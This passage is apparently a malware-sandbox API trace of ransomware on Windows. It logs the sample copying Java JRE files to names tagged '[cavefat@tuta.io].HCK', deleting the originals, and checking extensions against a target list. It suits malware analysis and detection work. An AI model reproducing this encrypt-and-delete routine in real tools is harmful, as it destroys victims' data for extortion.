lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0xcac, lpOverlapped=0x0) returned 1 [0225.452] WriteFile (in: hFile=0x44c, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0xcb0, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0xcb0, lpOverlapped=0x0) returned 1 [0225.456] ReadFile (in: hFile=0x448, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0225.456] WriteFile (in: hFile=0x44c, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0xe6, lpOverlapped=0x0) returned 1 [0225.456] SetEndOfFile (hFile=0x44c) returned 1 [0225.457] CloseHandle (hObject=0x44c) returned 1 [0225.457] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0225.457] SetEndOfFile (hFile=0x448) returned 1 [0225.560] CloseHandle (hObject=0x448) returned 1 [0225.560] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0225.561] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT" (normalized: "c:\\program files\\java\\jre1.8.0_144\\copyright")) returned 1 [0225.561] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0225.561] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0225.561] lstrlenW (lpString=".doc") returned 4 [0225.561] lstrcmpiW (lpString1=".doc", lpString2="IGHT") returned -1 [0225.561] lstrlenW (lpString=".docx") returned 5 [0225.561] lstrcmpiW (lpString1=".docx", lpString2="RIGHT") returned -1 [0225.561] lstrlenW (lpString=".pdf") returned 4 [0225.561] lstrcmpiW (lpString1=".pdf", lpString2="IGHT") returned -1 [0225.561] lstrlenW (lpString=".xls") returned 4 [0225.561] lstrcmpiW (lpString1=".xls", lpString2="IGHT") returned -1 [0225.561] lstrlenW (lpString=".xlsx") returned 5 [0225.561] lstrcmpiW (lpString1=".xlsx", lpString2="RIGHT") returned -1 [0225.561] lstrlenW (lpString=".ppt") returned 4 [0225.561] lstrcmpiW (lpString1=".ppt", lpString2="IGHT") returned -1 [0225.561] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0225.561] lstrlenW (lpString=".zip") returned 4 [0225.561] lstrcmpiW (lpString1=".zip", lpString2="IGHT") returned -1 [0225.562] lstrlenW (lpString=".rar") returned 4 [0225.562] lstrcmpiW (lpString1=".rar", lpString2="IGHT") returned -1 [0225.562] lstrlenW (lpString=".bz2") returned 4 [0225.562] lstrcmpiW (lpString1=".bz2", lpString2="IGHT") returned -1 [0225.562] lstrlenW (lpString=".7z") returned 3 [0225.562] lstrcmpiW (lpString1=".7z", lpString2="GHT") returned -1 [0225.562] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0225.562] lstrlenW (lpString=".dbf") returned 4 [0225.562] lstrcmpiW (lpString1=".dbf", lpString2="IGHT") returned -1 [0225.562] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0225.562] lstrlenW (lpString=".1cd") returned 4 [0225.562] lstrcmpiW (lpString1=".1cd", lpString2="IGHT") returned -1 [0225.562] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0225.562] lstrlenW (lpString=".jpg") returned 4 [0225.562] lstrcmpiW (lpString1=".jpg", lpString2="IGHT") returned -1 [0225.562] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0225.562] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0225.562] lstrlenW (lpString=".doc") returned 4 [0225.562] lstrcmpiW (lpString1=".doc", lpString2="IGHT") returned -1 [0225.562] lstrlenW (lpString=".docx") returned 5 [0225.562] lstrcmpiW (lpString1=".docx", lpString2="RIGHT") returned -1 [0225.562] lstrlenW (lpString=".pdf") returned 4 [0225.562] lstrcmpiW (lpString1=".pdf", lpString2="IGHT") returned -1 [0225.562] lstrlenW (lpString=".xls") returned 4 [0225.562] lstrcmpiW (lpString1=".xls", lpString2="IGHT") returned -1 [0225.562] lstrlenW (lpString=".xlsx") returned 5 [0225.562] lstrcmpiW (lpString1=".xlsx", lpString2="RIGHT") returned -1 [0225.562] lstrlenW (lpString=".ppt") returned 4 [0225.562] lstrcmpiW (lpString1=".ppt", lpString2="IGHT") returned -1 [0225.562] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0225.562] lstrlenW (lpString=".zip") returned 4 [0225.562] lstrcmpiW (lpString1=".zip", lpString2="IGHT") returned -1 [0225.562] lstrlenW (lpString=".rar") returned 4 [0225.562] lstrcmpiW (lpString1=".rar", lpString2="IGHT") returned -1 [0225.562] lstrlenW (lpString=".bz2") returned 4 [0225.562] lstrcmpiW (lpString1=".bz2", lpString2="IGHT") returned -1 [0225.562] lstrlenW (lpString=".7z") returned 3 [0225.562] lstrcmpiW (lpString1=".7z", lpString2="GHT") returned -1 [0225.562] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0225.562] lstrlenW (lpString=".dbf") returned 4 [0225.562] lstrcmpiW (lpString1=".dbf", lpString2="IGHT") returned -1 [0225.562] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0225.562] lstrlenW (lpString=".1cd") returned 4 [0225.562] lstrcmpiW (lpString1=".1cd", lpString2="IGHT") returned -1 [0225.562] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0225.562] lstrlenW (lpString=".jpg") returned 4 [0225.562] lstrcmpiW (lpString1=".jpg", lpString2="IGHT") returned -1 [0225.563] lstrcmpiW (lpString1=".cfg", lpString2=".HCK") returned -1 [0225.563] lstrlenW (lpString="jvm.cfg") returned 7 [0225.563] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448 [0225.563] GetFileSizeEx (in: hFile=0x448, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=634) returned 1 [0225.563] CloseHandle (hObject=0x448) returned 1 [0225.563] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg")) returned 0x20 [0225.563] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0225.563] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448 [0225.564] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0225.564] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0225.564] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x438 [0225.565] GetLastError () returned 0x0 [0225.565] ReadFile (in: hFile=0x448, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x27a, lpOverlapped=0x0) returned 1 [0225.566] WriteFile (in: hFile=0x438, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x280, lpOverlapped=0x0) returned 1 [0225.567] ReadFile (in: hFile=0x448, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0225.567] WriteFile (in: hFile=0x438, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0xe2, lpOverlapped=0x0) returned 1 [0225.567] SetEndOfFile (hFile=0x438) returned 1 [0225.567] CloseHandle (hObject=0x438) returned 1 [0225.567] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0225.567] SetEndOfFile (hFile=0x448) returned 1 [0225.569] CloseHandle (hObject=0x448) returned 1 [0225.569] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0225.569] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg")) returned 1 [0225.570] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0225.570] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0225.570] lstrlenW (lpString=".doc") returned 4 [0225.570] lstrcmpiW (lpString1=".doc", lpString2=".cfg") returned 1 [0225.570] lstrlenW (lpString=".docx") returned 5 [0225.570] lstrcmpiW (lpString1=".docx", lpString2="m.cfg") returned -1 [0225.570] lstrlenW (lpString=".pdf") returned 4 [0225.570] lstrcmpiW (lpString1=".pdf", lpString2=".cfg") returned 1 [0225.570] lstrlenW (lpString=".xls") returned 4 [0225.570] lstrcmpiW (lpString1=".xls", lpString2=".cfg") returned 1 [0225.570] lstrlenW (lpString=".xlsx") returned 5 [0225.570] lstrcmpiW (lpString1=".xlsx", lpString2="m.cfg") returned -1 [0225.570] lstrlenW (lpString=".ppt") returned 4 [0225.570] lstrcmpiW (lpString1=".ppt", lpString2=".cfg") returned 1 [0225.570] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0225.570] lstrlenW (lpString=".zip") returned 4 [0225.570] lstrcmpiW (lpString1=".zip", lpString2=".cfg") returned 1 [0225.570] lstrlenW (lpString=".rar") returned 4 [0225.570] lstrcmpiW (lpString1=".rar", lpString2=".cfg") returned 1 [0225.570] lstrlenW (lpString=".bz2") returned 4 [0225.570] lstrcmpiW (lpString1=".bz2", lpString2=".cfg") returned -1 [0225.570] lstrlenW (lpString=".7z") returned 3 [0225.570] lstrcmpiW (lpString1=".7z", lpString2="cfg") returned -1 [0225.570] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0225.571] lstrlenW (lpString=".dbf") returned 4 [0225.571] lstrcmpiW (lpString1=".dbf", lpString2=".cfg") returned 1 [0225.571] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0225.571] lstrlenW (lpString=".1cd") returned 4 [0225.571] lstrcmpiW (lpString1=".1cd", lpString2=".cfg") returned -1 [0225.571] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0225.571] lstrlenW (lpString=".jpg") returned 4 [0225.571] lstrcmpiW (lpString1=".jpg", lpString2=".cfg") returned 1 [0225.571] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0225.571] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0225.571] lstrlenW (lpString=".doc") returned 4 [0225.571] lstrcmpiW (lpString1=".doc", lpString2=".cfg") returned 1 [0225.571] lstrlenW (lpString=".docx") returned 5 [0225.571] lstrcmpiW (lpString1=".docx", lpString2="m.cfg") returned -1 [0225.571] lstrlenW (lpString=".pdf") returned 4 [0225.571] lstrcmpiW (lpString1=".pdf", lpString2=".cfg") returned 1 [0225.571] lstrlenW (lpString=".xls") returned 4 [0225.571] lstrcmpiW (lpString1=".xls", lpString2=".cfg") returned 1 [0225.571] lstrlenW (lpString=".xlsx") returned 5 [0225.571] lstrcmpiW (lpString1=".xlsx", lpString2="m.cfg") returned -1 [0225.571] lstrlenW (lpString=".ppt") returned 4 [0225.571] lstrcmpiW (lpString1=".ppt", lpString2=".cfg") returned 1 [0225.571] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0225.571] lstrlenW (lpString=".zip") returned 4 [0225.571] lstrcmpiW (lpString1=".zip", lpString2=".cfg") returned 1 [0225.571] lstrlenW (lpString=".rar") returned 4 [0225.571] lstrcmpiW (lpString1=".rar", lpString2=".cfg") returned 1 [0225.571] lstrlenW (lpString=".bz2") returned 4 [0225.571] lstrcmpiW (lpString1=".bz2", lpString2=".cfg") returned -1 [0225.571] lstrlenW (lpString=".7z") returned 3 [0225.571] lstrcmpiW (lpString1=".7z", lpString2="cfg") returned -1 [0225.571] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0225.571] lstrlenW (lpString=".dbf") returned 4 [0225.571] lstrcmpiW (lpString1=".dbf", lpString2=".cfg") returned 1 [0225.571] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0225.571] lstrlenW (lpString=".1cd") returned 4 [0225.571] lstrcmpiW (lpString1=".1cd", lpString2=".cfg") returned -1 [0225.571] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0225.571] lstrlenW (lpString=".jpg") returned 4 [0225.571] lstrcmpiW (lpString1=".jpg", lpString2=".cfg") returned 1 [0225.571] lstrcmpiW (lpString1=".properties", lpString2=".HCK") returned 1 [0225.571] lstrlenW (lpString="calendars.properties") returned 20 [0225.571] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\calendars.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448 [0225.572] GetFileSizeEx (in: hFile=0x448, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=1378) returned 1 [0225.572] CloseHandle (hObject=0x448) returned 1 [0225.572] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\calendars.properties")) returned 0x20 [0225.572] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\calendars.properties.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0225.572] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\calendars.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448 [0225.572] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0225.573] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0225.573] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\calendars.properties.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x438 [0225.574] GetLastError () returned 0x0 [0225.574] ReadFile (in: hFile=0x448, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x562, lpOverlapped=0x0) returned 1 [0225.575] WriteFile (in: hFile=0x438, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x570, lpOverlapped=0x0) returned 1 [0225.576] ReadFile (in: hFile=0x448, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0225.576] WriteFile (in: hFile=0x438, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0xfc, lpOverlapped=0x0) returned 1 [0225.576] SetEndOfFile (hFile=0x438) returned 1 [0225.577] CloseHandle (hObject=0x438) returned 1 [0225.577] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0225.577] SetEndOfFile (hFile=0x448) returned 1 [0225.579] CloseHandle (hObject=0x448) returned 1 [0225.579] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0225.580] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\calendars.properties")) returned 1 [0225.580] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0225.580] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0225.580] lstrlenW (lpString=".doc") returned 4 [0225.580] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0225.580] lstrlenW (lpString=".docx") returned 5 [0225.580] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0225.580] lstrlenW (lpString=".pdf") returned 4 [0225.580] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0225.580] lstrlenW (lpString=".xls") returned 4 [0225.580] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0225.580] lstrlenW (lpString=".xlsx") returned 5 [0225.580] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0225.580] lstrlenW (lpString=".ppt") returned 4 [0225.580] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0225.580] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0225.580] lstrlenW (lpString=".zip") returned 4 [0225.580] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0225.580] lstrlenW (lpString=".rar") returned 4 [0225.580] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0225.580] lstrlenW (lpString=".bz2") returned 4 [0225.580] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0225.580] lstrlenW (lpString=".7z") returned 3 [0225.580] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0225.580] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0225.580] lstrlenW (lpString=".dbf") returned 4 [0225.580] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0225.581] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0225.581] lstrlenW (lpString=".1cd") returned 4 [0225.581] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0225.581] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0225.581] lstrlenW (lpString=".jpg") returned 4 [0225.581] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0225.581] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0225.581] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0225.581] lstrlenW (lpString=".doc") returned 4 [0225.581] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0225.581] lstrlenW (lpString=".docx") returned 5 [0225.581] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0225.581] lstrlenW (lpString=".pdf") returned 4 [0225.581] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0225.581] lstrlenW (lpString=".xls") returned 4 [0225.581] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0225.581] lstrlenW (lpString=".xlsx") returned 5 [0225.581] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0225.581] lstrlenW (lpString=".ppt") returned 4 [0225.581] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0225.581] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0225.581] lstrlenW (lpString=".zip") returned 4 [0225.581] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0225.581] lstrlenW (lpString=".rar") returned 4 [0225.581] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0225.581] lstrlenW (lpString=".bz2") returned 4 [0225.581] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0225.581] lstrlenW (lpString=".7z") returned 3 [0225.581] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0225.581] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0225.581] lstrlenW (lpString=".dbf") returned 4 [0225.581] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0225.581] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0225.581] lstrlenW (lpString=".1cd") returned 4 [0225.581] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0225.581] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0225.581] lstrlenW (lpString=".jpg") returned 4 [0225.581] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0225.581] lstrcmpiW (lpString1=".jar", lpString2=".HCK") returned 1 [0225.581] lstrlenW (lpString="charsets.jar") returned 12 [0225.581] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448 [0225.582] GetFileSizeEx (in: hFile=0x448, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=3036922) returned 1 [0225.582] CloseHandle (hObject=0x448) returned 1 [0225.582] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar")) returned 0x20 [0225.583] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0225.583] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar.id-b4197730.[cavefat@tuta.io].hck")) returned 0 [0225.583] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0225.583] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0225.583] lstrlenW (lpString=".doc") returned 4 [0225.583] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0225.583] lstrlenW (lpString=".docx") returned 5 [0225.583] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0225.583] lstrlenW (lpString=".pdf") returned 4 [0225.583] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0225.583] lstrlenW (lpString=".xls") returned 4 [0225.583] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0225.583] lstrlenW (lpString=".xlsx") returned 5 [0225.583] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0225.583] lstrlenW (lpString=".ppt") returned 4 [0225.583] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0225.583] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0225.583] lstrlenW (lpString=".zip") returned 4 [0225.583] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0225.583] lstrlenW (lpString=".rar") returned 4 [0225.583] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0225.583] lstrlenW (lpString=".bz2") returned 4 [0225.583] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0225.584] lstrlenW (lpString=".7z") returned 3 [0225.584] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0225.584] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0225.584] lstrlenW (lpString=".dbf") returned 4 [0225.584] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0225.584] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0225.584] lstrlenW (lpString=".1cd") returned 4 [0225.584] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0225.584] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0225.584] lstrlenW (lpString=".jpg") returned 4 [0225.584] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0225.584] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0225.584] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0225.584] lstrlenW (lpString=".doc") returned 4 [0225.584] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0225.584] lstrlenW 